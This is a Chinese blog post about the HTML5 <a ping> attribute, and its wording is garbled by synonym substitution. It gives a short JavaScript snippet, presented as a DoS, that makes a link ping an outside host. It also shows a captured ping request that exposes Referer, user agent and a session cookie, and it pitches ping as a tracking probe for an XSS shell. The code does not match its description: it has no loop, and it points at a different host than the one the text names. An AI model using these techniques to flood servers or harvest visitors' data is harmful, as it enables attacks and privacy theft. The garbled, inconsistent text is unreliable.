HTML5:<a>的ping特点之逝世ping与隐私追寻
在HTML5中 标签参加了一个新的特点ping。规划者参加它的理由是, Ping能够使浏览器对外发送一个异步恳求,一般用来广告的追寻、点击率计算或完结一次HTTP重定向。
可是听到监督、追寻这个词,你是不是也觉得有点不舒服,所以Ping这个特点真的是很不受欢迎。浏览器一度抵抗、从而参加默许封闭有必要从如config这样的选项中翻开才干够运用,到现在我从caniuse.com上还没有追寻到哪个浏览器支撑它,但在我测验中最新版Chrome44是默许支撑Ping的。
一、Ping的用法
Ping的用法很简略,这儿举一个比方。
href="http://www.baidusina" ping="http://www.baidusina/track">click me
当你点击click me的时分,会异步发送一个POST恳求到Ping后边指定的地址,Request Body的内容为PING。有人或许会说,那click me这段代码行不行?答案是否定的,href这个特点有必要存在与中,否则Ping也是不会运转的。
二、逝世之PING
依据Ping发送POST恳求这个特性,咱们能够运用循环使之不断的向一个地址追加POST恳求,形成DOS进犯。
var link = document.createElement('a');
link.href="";
link.ping = 'http://www.myhack58.com/';
document.head.appendChild(link); link.click();
运转上面的代码,就会不断的向xisigr.com发送POST恳求。
请运转在线DEMO:DOS.html {chrome}
三、隐私追寻
Ping能够进行广告追寻,它能够计算用户都点击了哪些链接以及次数,并运用POST恳求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢,简略来说HTTP Header的内容都会有,咱们来看一个截获的完好信息
HOST: xisigr.com
CONTENT-LENGTH: 4
ORIGIN: http://mail.163.com
PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
PING-TO: http://www.baidu.com/
CONTENT-TYPE: text/ping
ACCEPT: */*
REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
ACCEPT-ENCODING: gzip, deflate
ACCEPT-LANGUAGE: zh-CN,zh;q=0.8
COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13
CACHE-CONTROL: max-age=0
CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER这三个要害信息,直接泄漏了用户的隐私。而这也为咱们独爱的XSSSHELL又供给了一个小插件。关于图片探针假如没了新鲜感,那么请试试Ping探针吧,简略的一句就搞定!
追寻这事是进犯者的独爱,我简略做了一个DEMO,翻开aping.html这个页面,点击后,你会前往wathwg,而且我异步重定向了下w3.org,但一起你的HTTP Header/IP就被我获取到了。你能够经过这个链接检查截获到的信息,Ping.html。
请拜访在线DEMO:aping.html Ping.html {chrome}
四、总结
把PING归结为勘探用户隐私的领域一点也不为过。这其实不怪规划者,Ping的开始规划理念,是为了使得广告计算愈加便利简练,哪怕是它的重定向功用,也是为了在异步恳求的情况下运用户全体进步拜访页面速度的快感。可是这似乎也无法遮掩住PING的潜在勘探用户隐私的特性。或许这便是PING的先天性缺点。
PS:
HTML5中,标签多了几个特点,如download/ping。2012年时,我在百度HI写了一篇《HTML5 A[download] 进犯模型》,就对其时download的进犯思路做了简略的剖析,惋惜百度HI封闭了,download那篇也杳无音信,但三年下来,再看那篇文章,其时提出的一些进犯点,浏览器也现已做了相应的防护,从中看到了攻防对立的改变和浏览器厂商的急进与退让。
这种感悟是挺好的,你能够对应着如笔记般的进行标示,这些改变是什么、为什么这么变等等,我觉得应该时不时的把前些年的文章拿出来,和现在的方式对比下,有些东西不得不从这种长时间轴的总结和更新中才干得出结论来,比方10年间消失的10种WEB进犯、浏览器厂商的急进与退让、10年后WEB是什么样的……